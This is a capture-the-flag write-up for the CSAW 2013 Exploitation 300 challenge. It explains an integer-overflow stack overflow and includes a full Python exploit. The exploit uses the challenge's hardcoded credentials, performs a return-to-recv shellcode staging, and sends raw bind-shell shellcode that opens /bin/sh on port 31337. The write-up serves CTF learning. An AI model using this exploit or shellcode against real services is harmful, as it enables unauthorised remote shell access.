CSAW Exploitation 300 [2013]
The level 300 exploitation challenge involved an integer overflow. I figured out the username and password that were hardcoded in the binary. The program then asks for an integer input and uses that as the number of bytes to read parameter in recv(). The only input validation that is performed on this parameter is to check if it is less than 1024. Entering -1 here lets us enter as much data we need since it gets interpreted as a positive integer. The next thing to notice is that the stack is executable.
The plan of action
- Find the address of recv function in PLT using objdump -d fil_chal | grep recv
- Find a writable location in the data or bss section of the binary using readelf -S fil_chal
- Exploit the integer overflow vulnerability and overflow the stack by sending sufficient padding.
- Overflow EIP with the address of the recv function. Setup the stack in such a way that recv(4, addr_in_bss, len(shellcode), 0) is called and after recv returns, execution continues at addr_in_bss. I figured the socket descriptor is 4 using strace and checking the recv call made by the binary.
- Once the shellcode is read into memory at the address specified, execution jumps to the shellcode and we have a shell listening at port 31337.
Exploit
import telnetlib
import struct
import time
def pack(addr):
return struct.pack('<I', addr)
tn = telnetlib.Telnet('127.0.0.1', 34266)
tn.read_until('UserName: ')
tn.write('csaw2013')
tn.read_until('Password: ')
tn.write('S1mplePWD')
tn.read_until('Entry Info: ')
tn.write("-1")
##Shellcode to bind /bin/sh on port 31337
##http://www.shell-storm.org/shellcode/files/shellcode-847.php
shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
"\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0"
"\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a"
"\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01"
"\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89"
"\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f"
"\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2"
"\xb0\x0b\xcd\x80")
padding = "A" * 1056
recv = 0x08048890
bss = 0x0804b008 + len(shellcode) + 32
##recv(socket_descriptor, addr_in_bss, num_bytes_to_read, flags)
##return address after recv = addr_in_bss
tn.write( padding + pack(recv) +
pack(bss) +
pack(4) +
pack(bss) +
pack(len(shellcode)) +
pack(0) + "\n")
time.sleep(2)
tn.write(shellcode)
tn.close()